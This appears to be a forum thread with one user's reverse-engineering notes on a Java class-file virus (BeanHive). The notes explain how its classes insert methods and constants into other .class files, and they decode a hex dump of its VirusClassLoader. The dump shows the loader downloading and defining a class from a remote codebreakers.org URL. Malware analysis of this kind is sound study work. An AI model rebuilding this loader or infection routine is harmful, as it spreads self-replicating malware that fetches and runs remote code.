e 调用 d virusmethod的insert(int temp_m_count_pointer, int temp_m_count,
                             int temp_m_pointer, int delta_offset,RandomAccessFile temp,a98b34f2 ptr)
          调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
                             temp_this_class,temp_super_class,temp,ptr)

e 调用 b virusconst 的insert(int temp_cp_count, int temp_cp_pointer, int delta_offset,
                             int temp_this_class, int temp_supper_class, RandomAccessFile temp,
                             a98b34f2 ptr)
          调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
                             temp_this_class,temp_super_class,temp,ptr)

而a98b34f2相当于一个工具类存在,用于传递指针的位置,因为他可以new 一个a98b34f2新对象,而没有所以猜测他的指针位置
一直保存着,也就是内存中的a98b34f2这个对象没有改变。

BeanHive 调用 e vstart的poke(File entry)

Main 调用 virusClassLoader

virusClassLoader 下载BeanHive类。

BeanHive 的两个重要动作:1. 获取当前目录中的.class文件
                         2. 调用e vstart的poke(File entry)将得到的.class文件作为参数传进去。

在e 中声明了所有的在调用b c d时用的变量。若想彻底弄清楚到底 b c d干了什么就要将在e poke()方法中声明的
1.变量含义 2.传递时的具体指代 弄清楚。
+-----------
$ 类变量   
+-----------
  hash                      ---- Hashtable类型
      hash中存储的值有两种,1. int 2. String
      int      是读到类的时候存储进去的  ┓   
      String   是读到Utf8的时候存储进去的┻ 其中存储到其中的值的键都为cp中的位置
  temp                      ---- RandomAccessFile类型

+-----------
$ 方法变量  
+-----------

  temp_magic                            ---- u4 要被感染的.class文件的魔数
  temp_cp_count                         ---- u2 要被感染的.class文件的 constant_pool_count
  temp_cp_pointer                       ---- int值,标志读取或写的指针位置
  delta_offset                          ----
  temp_access_flags                     ---- u2 这个文件(类或接口)的访问权限
  temp_this_class                       ---- u2 转向this_class类型解析
  temp_super_class                      ---- u2 转向super_class类型解析
  temp_interfaces                       ---- 转向interface类型解析
  temp_fields                           ---- 转向temp_fields类型解析
  temp_m_count_pointer                  ---- m指代Methods数量的指针下标
  temp_m_count                          ---- 指代 Methods 的数量
  temp_m_pointer                        ---- 指代 Methods 的下标
  isInvalid                             ---- boolean 类型,作者的上下文中的这个字段的含义可能不太明确,
                                             时而更改。

根据上下文可以确定temp字段代表的是传入的文件,也就是要被感染的文件。

对于temp_interfaces的分析。涉及到temp_super_class。

interfaces区域解析,内存字节码存储方式。

interface {

        interface_count                   //-----    u2
        interface 0                       //-----    u2
        interface 1                       //-----    u2
        interface ..                      //-----    u2
        interface n                       //-----    u2

}
因为参数的传递中没用到temp_interface,所以对interface中的存储内容不再深究,
和super_class应相似的。

super_class 区域解析,字节码存储方式。

super_class{
        super_class                       //-----    u2
}

super_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存超类名,在info内保存形式和类名相同。

分析temp_this_class
this_class 区域解析,字节码存储方式
this_class{
        this_class                        //-----    u2
}

this_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存类或接口名。
例如类名为com.sum.java.swing.SwingUtitlities2在info保存为com/sum/java/swing/SwingUtitlities2
-------------------------this means: it is a String !  (y/n)?

temp_fields解析

Fields {
        Fields count                           // ---- 记录域的数量
        Fields 0                               // ---- 第一个域
         ...  ..                              
        Fields n                               // ---- 第n个域
}

Field_info

Field.n {

        Access_flags                           // ---- u2 域修饰符掩码
        Name_index                             // ---- u2 域名在常数表内的索引
        Descriptor_index                       // ---- u2 域的描述符,其值是常数表内的索引
        Attributes_count                       // ---- u2 域的属性个数
        Attributes 0                           // ----   
         ... ...  ..                           // ----
        Attributes n                           // ----
}

Constant value attribute

Attribute n{

        Attribute name index                   // ---- u2 常数表内索引
        Attribute length high                  // ---- u2 属性长度┓
        Attribute length low                   // ---- u2 属性长度┻可合并为一个Attribute length u4
        Constantvalue_index                       // ---- u2  常数表内索引,保存域的值

}

试着将其解释一下:

Fields{
        Fields count                           // ---- u2 记录域的数量   
        // Start Field 0                        
        //*******{ Field_info }*******//  
        Access_flags                           // ---- u2 域修饰符掩码,访问控制权
        Name_index                             // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
        Descriptor_index                       // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
        Attributes_count                       // ---- u2 域的属性个数
        //**Start Attribute 0
        Attribute name index                   // ---- u2 常数表内索引
        Attribute length                       // ---- u2 属性长度
        Constantvalue_index                    // ---- u2  常数表内索引,保存域的值
        // End of Attribute 0 **//

        //**Start Attribute ..
        Attribute name index
        Attribute length high
        Constantvalue_index
        // End of Attribute ..**//

        //**Start Attribute n
        Attribute name index
        Attribute length high
        Constantvalue_index
        // End of Attribute n **//
        // End of Field 1
       
          :::::: ::::::

        // End of Field n
   
}

field_info中access_flages意义如下:

      ACC_PUBLIC     0x0001
      ACC_PRIVATE    0x0002
      ACC_PROTECTED  0x0004
      ACC_STATIC     0x0008
      ACC_FINAL      0x0010
      ACC_VOLATILE   0x0040
      ACC_TRANSIENT  0x0080

      其中很显然不能同时为ACC_FINAL和ACC_VOLATILE 且前三项是互斥的。                  
      interface必须置ACC_PUBLIC, ACC_STATIC,ACC_FINAL位,且不能置其他位。              
      其他未指明的位保留将来使用,并且编译器应当将其置为0,同时Java虚拟机应当忽略他们。

temp_m_count
显然对于temp_Methods已经解释的很清楚了。

hash解析

hash是从截取的

temp解析

其中使用的有一个对象,也就是temp,所有的操作都在temp上进行。

试着解析constant_pool

constant_pool{
        constant_pool_count
        constant_pool_info
}

constant_pool_info{
        tag
        info[]
}

tag 意义如下:

CONSTANT_Class                              -- 7
CONSTANT_Fieldref                           -- 9
CONSTANT_Methodref                          -- 10
CONSTANT_InterfaceMethodref                 -- 11
CONSTANT_String                             -- 8
CONSTANT_Integer                            -- 3
CONSTANT_Float                              -- 4
CONSTANT_Long                               -- 5
CONSTANT_Double                             -- 6
CONSTANT_NameAndType                        -- 12
CONSTANT_Utf8                               -- 1

此时cp_info分别对应结构变化为:
1. CONSTANT_Class
   CONSTANT_Class_info{
           u1 tag                              -- 7
        u2 name_index
   }

2. CONSTANT_Fieldref
   CONSTANT_Fieldref_info{
        u1 tag                             -- 9
        u2 class_index
        u2 name_and_type_index
   }

3. CONSTANT_Methodref
   CONSTANT_Methodref_info {
        u1 tag;                            -- 10
        u2 class_index;
        u2 name_and_type_index;
    }

4. CONSTANT_InterfaceMethodref
   CONSTANT_InterfaceMethodref_info {
        u1 tag;                            -- 11
        u2 class_index;
        u2 name_and_type_index;
   }

5. CONSTANT_String
   CONSTANT_String_info {
        u1 tag;                            -- 8
        u2 string_index;
   }

6. CONSTANT_Integer
   CONSTANT_Integer_info {
        u1 tag;                            -- 3
        u4 bytes;
   }

7. CONSTANT_Float
   CONSTANT_Float_info {
        u1 tag;                            -- 4
        u4 bytes;
   }

8. CONSTANT_Long
   CONSTANT_Long_info {
        u1 tag;                            -- 5
        u4 high_bytes;
        u4 low_bytes;
   }

9. CONSTANT_Double
   CONSTANT_Double_info {
        u1 tag;                            -- 6
        u4 high_bytes;
        u4 low_bytes
   }

10.CONSTANT_NameAndType
   CONSTANT_NameAndType_info {
        u1 tag;                           -- 12
        u2 name_index;
        u2 descriptor_index;
  }

11.CONSTANT_Utf8
   CONSTANT_Utf8_info {
         u1 tag;                          -- 1
         u2 length;
         u1 bytes[length];
   }

定义:    u1    1个字节为单位的非负值
         u2    2个字节为单位的非负值
         u3    . . . . . . . .  (其他以此类推 )

解析a98b34f2作用:

1. 位置
a98b34f2出现的类文件:
e 中,e并将a作为参数传到b c d 中。

2. 类中方法作用

   构造方法           传入的RandomAccessFile file对象构建一个对象。
   seek()             找到a.fpointer位置,fpointer开始时是0,当被操作后就!=0了,那么也就不会定位到文件开始处了。
   seek(int offset)   指针定位到offset的位置。fpointer的值转换为offset。
   update(int offset) 指针由原来的位置向右推移offset位。这么fpointer的值也增加了。
methods 指明了类中的所有的方法。

Method_info{
        u2 access_flags
        u2 name_index   //指向constant_pool的入口,对应为CONSTANT_Utf8_info
        u2 descriptor_index  //指向constant_pool的入口,对应为Co
        u2 attribute_count
        attribute_info attribute[attribute_count]
        //此处只能出现Code,Exception,Synthetic,Deprecated四中类型的属性
}

        access_flags访问权限描述如下:

        ACC_PUBLIC                   0x0001             -------    1
        ACC_PRIVATE                  0x0002             -------    2
        ACC_PROTECTED                0x0004             -------    4
        ACC_STATIC                   0x0008             -------    8
        ACC_FINAL                    0x0010             -------   10
        ACC_SYNCHRONIZED             0x0020             -------   32
        ACC_NATIVE                   0x0100             -------  256
        ACC_ABSTRACT                 0x0400             ------- 1024
        ACC_STRICT                   0x0800             ------- 2048

显然以上的没用了。
对于类文件 d 的分析。。。。。。。。。

变量:

virus_code_length                   ---
virus_method[]                      ---
virus_e_table_length                ---
old_code[]                          ---

dc98e742的分析:
变量:

virus_code_length             追踪
virus_method                  
virus_e_table_length
old_code

方法:insert(int temp_m_count_pointer, int temp_m_count, int temp_m_pointer,
             int delta_offset, RandomAccessFile temp, a98b34f2 ptr)

方法参数:

temp_m_count_pointer
temp_m_count
temp_m_pointer
delta_offset
temp
ptr

temp和ptr之间的关系
ptr是在temp的基础上创建。
temp: 程序的temp在Read 4位时,按照RandomAccessFile的规范temp的指针进乎?
####//////////////////////////#####

readUnsignedShort
public final int readUnsignedShort()
                            throws IOException从此文件读取一个无符号的 16 位数。此方法从该文件的当前文件指针开始读取两个字节。如果按顺序读取的字节为 b1 和 b2,其中 0 <= b1, b2 <= 255,则结果将等于:
(b1 << 8) | b2
在读取了这两个字节、检测到流的末尾或者抛出异常前,此方法一直阻塞。

指定者:
接口 DataInput 中的 readUnsignedShort
返回:
此文件的下两个字节,解释为一个无符号的 16 位整数。

####/////////////////////////#####
以上面的为例,这个方法说明了要读取16位也就是2个8 bits,但是没有说明要进位,所以它的下标不会向左或向右推进。
而ptr正是为了解决这个问题的。主要负责定位,将temp的下标定位到,将要被读取的字符的前一位。

对b的分析:
我的天哪,呵呵。那个contants_pool的count为94,我是说在VirusClassLoader.class中。但是在那里又怎么是95呢?
他是不是多了个什么信息?
很有可能。那是什么呢?寻找一下这VirusClassLoader.class中的信息。
进行分析一下。

CA FE BA BE 00 00 00 31 00 5E 08 00 27 08 00 28
0A 00 1D 00 29 07 00 2A 07 00 2B 07 00 2C 0A 00
06 00 2D 0A 00 06 00 2E 08 00 2F 0A 00 06 00 30
0A 00 05 00 31 0A 00 05 00 32 0A 00 33 00 34 0A
00 33 00 35 0A 00 36 00 37 0A 00 36 00 38 07 00
39 0A 00 04 00 2D 0A 00 1C 00 3A 07 00 3B 0A 00
14 00 2D 0A 00 1C 00 3C 0A 00 3D 00 3E 07 00 3F
0B 00 18 00 40 0A 00 1D 00 2D 0A 00 1C 00 41 07
00 42 07 00 43 01 00 09 6C 6F 61 64 43 6C 61 73
73 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 5A 29 4C 6A 61 76 61 2F 6C
61 6E 67 2F 43 6C 61 73 73 3B 01 00 04 43 6F 64
65 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61
62 6C 65 01 00 0A 45 78 63 65 70 74 69 6F 6E 73
01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 56 01
00 0A 53 6F 75 72 63 65 46 69 6C 65 01 00 15 56
69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E
6A 61 76 61 01 00 1C 68 74 74 70 3A 2F 2F 77 77
77 2E 63 6F 64 65 62 72 65 61 6B 65 72 73 2E 6F
72 67 2F 01 00 08 42 65 61 6E 48 69 76 65 0C 00
44 00 45 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F
43 6C 61 73 73 4E 6F 74 46 6F 75 6E 64 45 78 63
65 70 74 69 6F 6E 01 00 0C 6A 61 76 61 2F 6E 65
74 2F 55 52 4C 01 00 17 6A 61 76 61 2F 6C 61 6E
67 2F 53 74 72 69 6E 67 42 75 69 6C 64 65 72 0C
00 23 00 24 0C 00 46 00 47 01 00 06 2E 63 6C 61
73 73 0C 00 48 00 49 0C 00 23 00 4A 0C 00 4B 00
4C 07 00 4D 0C 00 4E 00 4F 0C 00 50 00 51 07 00
52 0C 00 53 00 54 0C 00 55 00 24 01 00 13 6A 61
76 61 2F 6C 61 6E 67 2F 45 78 63 65 70 74 69 6F
6E 0C 00 56 00 57 01 00 1A 6A 61 76 61 2F 6C 61
6E 67 2F 43 6C 61 73 73 46 6F 72 6D 61 74 45 72
72 6F 72 0C 00 58 00 59 07 00 5A 0C 00 5B 00 5C
01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E
6E 61 62 6C 65 0C 00 5D 00 24 0C 00 1E 00 45 01
00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64
65 72 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43
6C 61 73 73 4C 6F 61 64 65 72 01 00 0F 66 69 6E
64 53 79 73 74 65 6D 43 6C 61 73 73 01 00 25 28
4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E
67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C
61 73 73 3B 01 00 06 61 70 70 65 6E 64 01 00 2D
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69
6E 67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53
74 72 69 6E 67 42 75 69 6C 64 65 72 3B 01 00 08
74 6F 53 74 72 69 6E 67 01 00 14 28 29 4C 6A 61
76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 01
00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74
72 69 6E 67 3B 29 56 01 00 0E 6F 70 65 6E 43 6F
6E 62 65 63 74 69 6F 6E 01 00 1A 28 29 4C 6A 61
76 61 2F 6E 65 74 2F 55 52 4C 43 6F 6E 6E 65 63
74 69 6F 6E 3B 01 00 16 6A 61 76 61 2F 6E 65 74
2F 55 52 4C 43 6F 6E 6E 65 63 74 69 6F 6E 01 00
0E 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D 01
00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49 6E 70
75 74 53 74 72 65 61 6D 3B 01 00 10 67 65 74 43
6F 6E 74 65 6E 74 4C 65 6E 67 74 68 01 00 03 28
29 49 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70
75 74 53 74 72 65 61 6D 01 00 04 72 65 61 64 01
00 05 28 5B 42 29 49 01 00 05 63 6C 6F 73 65 01
00 0B 64 65 66 69 6E 65 43 6C 61 73 73 01 00 29
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69
6E 67 3B 5B 42 49 49 29 4C 6A 61 76 61 2F 6C 61
6E 67 2F 43 6C 61 73 73 3B 01 00 0C 72 65 73 6F
6C 76 65 43 6C 61 73 73 01 00 14 28 4C 6A 61 76
61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B 29 56 01
00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73
73 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65 01
00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F
62 6A 65 63 74 3B 01 00 03 72 75 6E 00 21 00 1C
00 1D 00 00 00 00 00 02 00 21 00 1E 00 1F 00 02
00 20 00 00 01 3E 00 05 00 0B 00 00 00 AE 01 3A
04 12 01 3A 05 12 02 3A 06 2A 2B B7 00 03 4E 2D
B0 3A 07 BB 00 05 59 BB 00 06 59 B7 00 07 19 05
B6 00 08 2B B6 00 08 12 09 B6 00 08 B6 00 0A B7
00 0B 3A 07 19 07 B6 00 0C 3A 08 19 08 B6 00 0D
3A 09 19 08 B6 00 0E 36 0A 15 0A BC 08 3A 04 19
09 19 04 B6 00 0F 57 19 09 B6 00 10 A7 00 05 3A
07 19 04 C7 00 0B BB 00 04 59 B7 00 12 BF 2A 2B
19 04 03 19 04 BE B6 00 13 4E 2D C7 00 0B BB 00
14 59 B7 00 15 BF 1C 99 00 08 2A 2D B6 00 16 2B
19 06 A6 00 18 2D B6 00 17 C0 00 18 3A 07 19 07
B9 00 19 01 00 A7 00 05 3A 07 2D B0 00 03 00 0B
00 12 00 13 00 04 00 15 00 5E 00 61 00 11 00 97
00 A7 00 AA 00 11 00 01 00 21 00 00 00 66 00 19
00 00 00 0C 00 03 00 0D 00 07 00 0E 00 0B 00 12
00 11 00 13 00 13 00 14 00 15 00 18 00 36 00 19
00 3D 00 1B 00 44 00 1C 00 4B 00 1E 00 51 00 1F
00 59 00 20 00 5E 00 22 00 63 00 24 00 68 00 25
00 70 00 29 00 7C 00 2A 00 80 00 2B 00 88 00 2F
00 91 00 31 00 97 00 35 00 A0 00 36 00 A7 00 37
00 AC 00 3C 00 22 00 00 00 04 00 01 00 04 00 01
00 23 00 24 00 02 00 20 00 00 00 2C 00 02 00 01
00 00 00 0C 2A B7 00 1A 2A 12 02 B6 00 1B 57 B1
00 00 00 01 00 21 00 00 00 0E 00 03 00 00 00 40
00 04 00 42 00 0B 00 44 00 22 00 00 00 04 00 01
00 04 00 01 00 25 00 00 00 02 00 26

对以上的数字进行分析:
(,)
(10,01)= 5e 是constant_pool_count 转化为十进制数字为94。那么就是说cp_count是94,那么这个数字类文件的数量就是93了。就是有93个是有效的了。
那就是到那个(07,07)这对不对呢?显然不对的。
那应该是什么呢?
应该是把这些给转化一下的。
001> 08 00 27                  |    08 代表这个是字符串, 00 27 在cp中的index
002> 08 00 28                  |
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_String                                  |
|          CONSTANT_String_info {                  |
|                    u1 tag;                          |
|                    u2 string_index;                    |
|            }                                          |
|||||||||||||||||||||||||||||||||||||||||||||||||||

003> 0A 00 1D 00 29            |    10 代表这个是Methodref  $ 1D-29 29-41
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Methodref                                  |
|           CONSTANT_Methodref_info {                  |
|                    u1 tag;                          |
|                    u2 class_index;                  |
|                    u2 name_and_type_index;          |
|           }                                          |
|||||||||||||||||||||||||||||||||||||||||||||||||||

004> 07 00 2A                  |
|||||||||||||||||||||||||||||||||||||||||||||||||||
| CONSTANT_Class                                  |
|        CONSTANT_Class_info {                          |
|               u1 tag;                                  |
|               u2 name_index;                          |
|       }                                          |
|||||||||||||||||||||||||||||||||||||||||||||||||||
005> 07 00 2b
006> 07 00 2c
007> 0A 00 06 00 2D
008> 0A 00 06 00 2E
009> 08 00 2F
010> 0A 00 06 00 30
011> 0A 00 05 00 31
012> 0A 00 05 00 32
013> 0A 00 33 00 34
014> 0A 00 33 00 35
015> 0A 00 36 00 37
016> 0A 00 36 00 38
017> 07 00 39
018> 0A 00 04 00 2D
019> 0A 00 1C 00 3A
020> 07 00 3B
021> 0A 00 14 00 2D
022> 0A 00 1c 00 3C
023> 0A 00 3D 00 3E
024> 07 00 3F
025> 0B 00 18 00 40    0B-11 InterfaceMethodref    (05,08)
|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_InterfaceMethodref                            |
|           CONSTANT_InterfaceMethodref_info {      |
|                    u1 tag;                            |
|                    u2 class_index;                     |
|                    u2 name_and_type_index;             |
|           }                                            |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
026> 0A 00 1D 00 2D
027> 0A 00 1C 00 41
028> 07 00 42
029> 07 00 43
030> 01 00 09 6C 6F 61 64 43 6C 61 73 73     (01,10)   Utf8

|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Utf8                                            |
|           CONSTANT_Utf8_info {                    |
|                   u1 tag;                            |
|                   u2 length;                            |
|                   u1 bytes[length];                    |
|           }                                            |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
031> 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B
           5A 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B   (10,12)
                                       $   26-38
数字代表的字符串内容是:(Ljava/lang/String;Z)Ljava/lang/Class;
032> 01 00 04 43 6F 64 65
Code

033> 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65
LineNumberTable

034> 01 00 0A 45 78 63 65 70 74 69 6F 6E 73             (16,14)
Exceptions

035> 01 00 06 3C 69 6F 69 74 3E
<init>

036> 01 00 03 28 29 56                                  (15,15)
()V

037> 01 00 0A 53 6F 75 72 63 65 46 69 6C 65             (12,16)
SourceFile

038> 01 00 15 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E 6A 61 76 61
                                                   (04,18)
VirusClassLoader.java

039> 01 00 1C 68 74 74 70 3A 2F 2F 77 77 77 2E 63 6F 64
      65 62 72 65 61 6B 65 72 73 2E 6F 72 67 2F    (03,20)
http://www.codebreakers.org/

040> 01 00 08 42 65 61 6E 48 69 76 65               
BeanHive                                           (14,20)

041> 0C 00 44 00 45                                     (03,21)
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|        CONSTANT_NameAndType                                    |
|           CONSTANT_NameAndType_info {                     |
|                   u1 tag;                                        |
|                   u2 name_index;                            |
|                   u2 descriptor_index;                    |
|           }                                                    |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
    我 是 个 天 才 !

042> 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61
           73 73 4E 6F 74 46 6F 75 6E 64 45 78 63
           65 70 74 69 6F 6E                      (06,23)
java/lang/ClassNotFoundException

043> 01 00 0C 6A 61 76 61 2F 6E 65 74 2F 55 52 4C    (05,24)
java/net/URL

044> 01 00 17 6A 61 76 61 2F 6C 61 6E 67 2F 53 74
         72 69 6E 67 42 75 69 6C 64 65 72       (15,25)
java/lang/StringBuilder
045> 0C 00 23 00 24
046> 0C 00 46 00 47
047> 01 00 06 2E 63 61 73 73                         (02,27)
048> 0C 00 48 00 49
049> 0C 00 23 00 4A
050> 0C 00 4B 00 4C
051> 07 00 4D                                        (04,28)
052> 0C (u4)                                                (09,28)
053> 0C (u4)                                                (14,28)
054> 07 (u2)                                                (01,29)
055> 0C (u4)                                                (06,29)
056> 0C (u4)                                                (11,29)
057> 01 (u2 u19)                                        (01,31)
058> 0C (u4)                                                (06,31)
059> 01 (u2 u26)                                        (03,33)
060> 0C (u4)                                                (08,33)
061> 07 00 5A
062> 0C 00 5B 00 5C
063> 01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E 6E 61 62 6C 65
064> 0C 00 5D 00 24
065> 0C 00 1E 00 45
066> 01 00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72
067> 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 4C 6F 61 64 65 72
068> 01 00 0F 66 69 6E 64 53 79 73 74 65 6D 43 6C 61 73 73
069> 01 00 25 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53
           74 72 69 6E 67 3B 29 4C 6A 61 76 61 2F
           6C 61 6E 67 2F 43 6C 61 73 73 3B
070> 01 00 06 61 70 70 65 6E 64
071> 01 00 2D 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
           53 74 72 69 6E 67 3B 29 4C 6A 61 76
           61 2F 6C 61 6E 67 2F 53 74 72 69 6E
           67 42 75 69 6C 64 65 72 3B
072> 01 00 08 74 6F 53 74 72 69 6E 67
073> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67
               2F 53 74 72 69 6E 67 3B
074> 01 00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
           53 74 72 69 6E 67 3B 29 56
075> 01 00 0E 6F 70 65 6E 43 6F 6E 62 65 63 74 69
           6F 6E
076> 01 00 1A 28 29 4C 6A 61 76 61 2F 6E 65 74 2F
           55 52 4C 43 6F 6E 6E 65 63 74 69 6F
           6E 3B
077> 01 00 16 6A 61 76 61 2F 6E 65 74 2F 55 52 4C
           43 6F 6E 6E 65 63 74 69 6F 6E
078> 01 00 0E 67 65 74 49 6E 70 75 74 53 74 72 65
           61 6D
079> 01 00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49
           6E 70 75 74 53 74 72 65 61 6D 3B
080> 01 00 10 67 65 74 43 6F 6E 74 65 6E 74 4C 65
           6E 67 74 68
081> 01 00 03 28 29 49
082> 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70 75
           74 53 74 72 65 61 6D
083> 01 00 04 72 65 61 64
084> 01 00 05 28 5B 42 29 49
085> 01 00 05 63 6C 6F 73 65
086> 01 00 0B 64 65 66 69 6E 65 43 6C 61 73 73
087> 01 00 29 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
           53 74 72 69 6E 67 3B 5B 42 49 49 29
           4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
           6C 61 73 73 3B
088> 01 00 0C 72 65 73 6F 6C 76 65 43 6C 61 73 73
089> 01 00 14 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
           6C 61 73 73 3B 29 56
090> 01 00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C
           61 73 73
091> 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65
092> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F
           62 6A 65 63 74 3B
093> 01 00 03 72 75 6E
<Constant_Pool is over!>
<access_flags>
00 21
means: super & public
|||||||||||||||||||||||||||||||||||||||||||||||||
|    access_flags意义如下:                        |
|                                                 |
|       ACC_PUBLIC     0x0001                        |
|       ACC_FINAL      0x0010                        |
|       ACC_SUPER      0x0020                        |
|       ACC_INTERFACE  0x0200                        |
|       ACC_ABSTRACT   0x0400                        |
|||||||||||||||||||||||||||||||||||||||||||||||||

<this_class>
00 1C
<super_class>
00 1D
<interfaces_count>
00 00
<interfaces_info>
00 00
<fields_count> u2
00 02 两个
<field_info[]>

|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| field_info {                                                                                        |
|           u2 access_flags;   //访问控制权                                                        |
|           u2 name_index;     //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。                |
|           u2 descriptor_index; //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。        |
|           u2 attributes_count;                                                                |
|           attribute_info attributes[attributes_count]; //attribute_info将在mothods后描述。        |
|   }                                                                                                |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|                                                        |
|       field_info中access_flages意义如下:                |
|                                                        |
|          ACC_PUBLIC     0x0001                        |
|          ACC_PRIVATE    0x0002                        |
|          ACC_PROTECTED  0x0004                        |
|          ACC_STATIC     0x0008                        |
|          ACC_FINAL      0x0010                        |
|          ACC_VOLATILE   0x0040                        |
|          ACC_TRANSIENT  0x0080                        |
|                                                        |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||

第一个域:
00 21   (access_flags)
00 1E   (name_index)
00 1F   (descripttor_index)
00 02         (attribute_count)
第一域中的第一个属性:
00 20         (attribute_name_index)
00 00 01 3E (attribute_length)             01 3E -- 318
..........................
2007-5-9 16:55
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
............................
忽然发现他的确很厉害了,他把变量按照堆栈的方式存储起来了。。。。
然后插入方法。。调用。。呵呵,想到了。。。。。

CONSTANT
又想到了,好象应该是,其插入的应该是。。。。现在不能说了,因为这次应该是对了,虽然每次
都差一点都对了。但是这次应该对了。虚拟机了。虚拟机的结构,呵呵,还是写下来吧。。
接下来是学习虚拟机的结构,看看他插入的数据是什么块的,就好分析了。还有一点就是我
如何得到这些数据。。是个问题。如何得到不同的数据呢??
他应该是把数据直接插入到虚拟机中了,并插入到某一线程的数据区域中了。呵呵。。
并调用这一线程。
也有可能是由什么来着,Applet调用的这一线程。。对了。。Maybe!!
猜想那些数据的时候想到了,他应该是jvm之.class文件结构。上的内容。
一直以为我在飞速前进,现在我才明白我其实就是踯躅不前。现在才有了一点点进展。。
现在想到,他是把方法的编码插入,又将常量存储库插入。两者插入了就成了。
那方法调用呢?如何调用呢?
那应该是applet的问题了。。。。就是如此
那他是如何插入的呢,插入的是什么呢??
就要看到了。。我靠。。。。
e 是个总调度文件
c 插入感染性和一个异常实体
d 插入一个方法
b 插入一个常量存储库
插入的时候要看什么位置了
不是什么位置都能插入的关键是位置了
什么位置来着,,,
要看.class 文件的结构了
class文件的结构是什么来着,来着呢?
第一是 魔数占4个字节
第二是 主次版本也要占几个字节的来着。
接下来是常量池的长度和常量池/
第四是 访问控制,那访问控制有好多来着那怎么办呢,他是不是一个数组的形式呢?应该是吧!
第五和第六是thisclass 和superclass但是具体是什么意思我不太明白,。
第七是interface_count 和interfaces 前者是数量,后着保存着存储在常量池中的interface的索引。
第八fields_count和fields他们就是那个什么来着,是那个该类型声明的变量的总数,后面的是保存了不同
长度的变量的描述信息,fields_info表的序列。。。
第九 是什么来着。是那个methods_count 和methods和第八类似。。
那么d的内容插入的是什么地方呢??
想想,什么地方。。。。应该是第九的地方了,那他都插入什么数据呢??
一个方法中有什么呢?
有变量,常量,还有什么呢?应该没了吧!!应该是的。。。。。
一个方法的插入还有什么来着,。,
应该这么想
他把所有的变量都插入到那个变量池中,让后在方法的区域中可以调用了什么来着。确实这样的//
那访问权限怎么来着。。呢???
访问权限是这么来着的
访问权限呵呵呵呵访问权限他也插入到变量池中,然后就可以访问了,所有的数据都是在变量池中的其他的地方插入
的仅仅是引用了。。。那可以借助这个引用访问所要的数据了。。。我靠。。
那c 呢?c插入的是个异常了。异常是否也可以看成是一个方法呢?显然不行了。
或许要有其他的插入方式了呢。。。。
我靠
那他的测试感染性又怎么办呢???
我靠这么长时间了才分析到这个地方。。。。
